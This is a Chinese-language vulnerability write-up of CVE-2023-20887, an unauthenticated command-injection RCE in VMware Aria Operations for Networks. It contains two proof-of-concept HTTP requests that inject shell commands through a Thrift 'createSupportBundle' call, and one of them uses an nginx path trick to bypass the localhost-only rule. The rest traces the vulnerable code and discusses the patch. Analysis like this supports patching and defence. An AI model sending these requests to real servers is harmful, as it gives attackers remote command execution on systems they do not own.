CVE-2023-20887 漏洞分析
漏洞描述
VMware Aria Operations for Networks (以前称为 vRealize Network Insight,vRNI)是一款网络可视性和分析工具,可以帮助管理员优化网络性能或管理和扩展各种 VMware 和 Kubernetes 部署。
在 CVE-2023-20887 中,未经身份验证的攻击者可通过命令注入漏洞执行任意命令,控制服务器。所以这其实这是一个未授权 + RCE
漏洞影响版本
6.2.0 <= VMware Aria Operations for Networks <= 6.10.0
环境搭建
参考视频:https://www.youtube.com/watch?v=9HFQyHcCVv4
参考的文章:https://blog.csdn.net/x_idea/article/details/124294823
漏洞复现
PoC1
POST /saasresttosaasservlet/ HTTP/2
Host: 10.20.180.90
Content-Type: application/x-thrift
Accept: application/x-thrift
User-Agent: Java/THttpClient/HC
Content-Length: 103
Accept-Encoding: gzip,deflate
[1,"createSupportBundle",1,1,{"1":{"str":"10000"},"2":{"str":"*.tar.gz;touch /tmp/success;ls "}}]
PoC2
POST /saas./resttosaasservlet HTTP/2
Host: 192.168.1.155
User-Agent: Java/THttpClient/HC
Accept: application/x-thrift
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
[1,"createSupportBundle",1,1,{"1":{"str":"10000"},"2":{"str":"*.tar.gz;touch /tmp/asdasd;ls "},"4":{"lst":["str",0]}}]
漏洞分析
漏洞的触发点是在 com.vnera.common.utils.ScriptUtils#evictPublishedSupportBundles
方法,具体的触发点是在第 177 行,调用了 runCommand()
方法,可以跟进一下 runCommand()
方法,不难发现此处存在一个命令执行的点。
这里的想法一定是去看可控的输入,我们能否进行恶意构造,往上看一下 runCommand(evictCommand)
方法里面的参数 —— evictCommand 是否可控。
if (maxFiles != null) {
String evictCommand = String.format("sudo ls -tp %s/sb.%s.%s*.tar.gz | grep -v '/$' | tail -n +%d | xargs -I {} rm -- {}", "/ui-support-bundles", nodeType, nodeId, maxFiles);
if (CommonUtils.isPlatformCluster()) {
evictCommand = String.format("%s %s %s", "sudo /home/ubuntu/build-target/saasservice/cleansb.sh", nodeId, nodeType);
}
int evictRet = runCommand(evictCommand);
String.format("sudo ls -tp %s/sb.%s.%s*.tar.gz").format(nodeType, nodeId)
nodeId
为命令注入点比较好,因为 /bin/sh -c
的特性,我们可以用分号截断,造成命令注入。-
目前已有漏洞的尾部直接触发点,还需要去寻找一下如何走到漏洞触发点对应的逻辑。
寻找一下谁调用了 ScriptUtils.evictPublishedSupportBundles()
方法,寻找到的方法是 com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#createSupportBundle
继续向上回溯,找到 com.vnera.restapilayer.ManagementResource#createSupportBundles
,这里通过 @Path
注解定义了相关接口。
这一部分是 restapilayer 来完成的,对应的业务逻辑处如图;但是经过调试分析,可以发现这一个接口是需要鉴权的,且鉴权十分严格。
但是因为这是一个未授权的命令注入,所以应该是不需要经过这一个接口的,但是我们又要想办法触发 createSupportBundle()
方法,继续往下找调用到 createSupportBundle()
方法的其他方法。
最终是找到了这样一个可用的类,com.vnera.saasrpc.interfaces.RestToSaasCommunication
,它所处的 jar 包是在 launcher-0.001-SNAPSHOT.jar
下,我虽然起了 launcher-0.001-SNAPSHOT.jar
包的动调,但是走不到断点中
所以这里我需要先去看一下逻辑,看一下什么样的接口会到 RestToSaasCommunication
类进行处理,对应的请求处理是由 nginx 作转发处理的,源代码如图
location = /saasresttosaasservlet {
allow 127.0.0.1;
deny all;
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location /saas {
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
/saasresttosaasservlet
进行配置的。该配置规定只有来自 IP 地址 127.0.0.1 的请求可以访问这个路径,其他地址的请求会被拒绝。第二个 location 是对以 /saas
开头的所有 URL 路径进行配置的。它与第一个 location 类似,但没有精确匹配,而是使用通配符匹配任何以 /saas
开头的路径。同样,它将 URL 路径中的 "/saas" 替换为 "",并将请求代理到本地的 9090 端口。
如此一来就需要用 wireshark 抓取转发的流量包,需要抓取的是 nginx 回环流量的网卡,
sudo tcpdump -i lo -w output.pcap
从 wireshark 中可以看出来这一个包的请求头和平常的包不太一样,Content-Type
为 application/x-thrift
在看完 nginx 的逻辑之后基本能够清晰了,其实就是在最开始的 /api/management/support-bundle
请求当中会把 resttosaasservlet
的请求转发给 9090 端口处理。
接着我们需要想办法构造攻击请求,先把 wireshark抓到的包提取出来
POST /resttosaasservlet HTTP/1.1
Content-Type: application/x-thrift
Accept: application/x-thrift
User-Agent: Java/THttpClient/HC
Content-Length: 44
Host: localhost:9090
Connection: Keep-Alive
Accept-Encoding: gzip,deflate
[1,"getNodesInfo",1,1,{"1":{"str":"16429"}}]
-
剩余部分属于是 thrift 的一些处理,这里我们先下一个断点在 com.vnera.saasrpc.interfaces.RestToSaasCommunication#createSupportBundle_args
方法处,因为这个方法会对 Thrift 的包进行处理,对应的,不同的参数由不同的xxx_args
处理。
跟进去,可以看到程序获取了我们对应的参数,这些参数最后是保存到结构体当中的,结构体如下
struct {
customerId,
nodeId,
requestId,
evictionRequestIDs
}
往下走,调用了 getResult()
方法,此时就会走到 createSupportBundle_result()
方法,这个类将负责支持包创建的结果。
这里就解决前面的问题了,到底怎么样才能触发 createSupportBundle()
方法,这里就成功触发了
漏洞修复
patch 修复了 nginx 的鉴权绕过,修改如下
修改为当请求的URL路径以 "/saasresttosaasservlet" 开头时,Nginx 会将请求反向代理到http://127.0.0.1:9090
但其实这并不是合理的修复手法,原因是下面还有一个 location 块
location /saas {
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
对此存在新的 Patch,不过我就没有分析了
https://customerconnect.vmware.com/en/downloads/details?downloadGroup=VRNI-660&productId=1070&rPId=83873
小结
由于nginx配置不当和拼接命令导致的rce,用了thrift做rpc。
-END-
原文始发于微信公众号(She11ud0 安全团队):CVE-2023-20887 VMware Aria Operations for Networks 漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论